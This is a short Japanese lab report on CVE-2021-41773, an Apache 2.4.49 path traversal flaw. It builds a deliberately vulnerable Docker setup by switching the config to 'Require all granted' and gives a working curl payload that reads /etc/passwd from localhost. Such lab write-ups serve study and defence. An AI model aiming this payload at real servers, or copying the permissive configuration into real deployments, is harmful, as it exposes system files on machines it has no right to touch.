CVE-2021-41773 – Apache パス・トラバーサル レポート
概要
- Apache HTTP Server 2.4.49 バージョンで発見された脆弱性で、Webサーバーの設定によりパス・トラバーサル攻撃を介してシステムの機密ファイルを公開できる
- パス・トラバーサル: 攻撃者が
../ を含むパスを使用してWebルート外のファイルにアクセスできる
情報
- 脆弱性名: CVE-2021-41773
- 影響を受けるバージョン: Apache HTTP Server 2.4.49
- 脆弱性タイプ: パス・トラバーサル
- 公式パッチの有無: 2.4.50 以上でパッチ済み
実践環境構成
- Base Image : 'httpd:2.4.49' (DockerHub)
- コンテナ起動方法 : Dockerfile + docker-compose.yml
- 実行ポート : 8080 → コンテナの80ポートにマッピング
- Apache設定変更 : 'Require all granted' に変更 (パス・トラバーサルを可能にする)
環境の実行方法
脆弱性 PoC
詳細手順
- 課題用のディレクトリを実行
- Dockerfileの作成
-> Base Image: httpd:2.4.49 (脆弱性が存在するバージョン)
-> 'sed -i 's/Require all denied/Require all granted/g' : パス・トラバーサルを許可し、外部アクセスを可能にする
- docker-compose.yml
-> Apache の定義
-> 8080 ポートをコンテナの 80 ポートにマッピング
-
Docker の実行
-
PoCの実行
-> curl http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd
-> /etc/passwd は機密情報を含んでいる。%2e は .. のエンコードされた表現であり、上位ディレクトリへ移動するコマンドである。
-> パスを操作してサーバーが /etc/passwd にアクセスし、その内容を出力させる。
- 実行結果
-> 上記の画像のように機密ディレクトリにアクセス可能
Fork を介してアクセス可能なリポジトリ URL
https://github.com/JIYUN02/cve-2021-41773
-> コミット履歴あり